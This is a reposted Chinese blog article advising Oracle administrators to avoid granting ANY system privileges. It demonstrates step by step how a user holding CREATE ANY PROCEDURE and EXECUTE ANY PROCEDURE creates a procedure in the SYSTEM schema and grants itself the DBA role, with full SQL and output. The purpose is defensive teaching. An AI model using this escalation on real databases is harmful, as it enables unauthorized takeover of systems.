文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>转:给用户授予权限时应该尽量避免ANY系统权限

转:给用户授予权限时应该尽量避免ANY系统权限

时间:2010-06-08  来源:gflei

Oracle推荐给用户授予权限时,给予用户可以完成操作的最小权限。应当尽量避免对用户授予包含ANY的系统权限,如SELECT ANY TABLE,CREATE ANY TABLE等。


这些包含ANY的系统权限很大,只应该授权给DBA用户,而不应该授权给普通用户。如果给非DBA用户授权ANY系统权限,则会使数据库处于不安全状态。

下面的例子展示了一个用户具有了CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE权限,就可以通过其他方式获取数据库中所有的权限。

SQL> create user a identified by a;

用户已创建

SQL> grant create session to a;

授权成功。

SQL> grant create any procedure, execute any procedure to a;

授权成功。

SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

SQL> select * from session_roles;

未选定行

SQL> create procedure system.p_execute(p_str in varchar2) as
2 begin
3 execute immediate p_str;
4 end;
5 /

过程已创建。

SQL> exec system.p_execute('grant dba to a');

PL/SQL 过程已成功完成。

SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
IXDBA.NET社区论坛
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
.
.
.
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET

已选择140行。

SQL> select * from session_roles;

ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE

已选择9行。


相关阅读 更多 +
排行榜 更多 +
辰域智控app

辰域智控app

系统工具 下载
网医联盟app

网医联盟app

运动健身 下载
汇丰汇选App

汇丰汇选App

金融理财 下载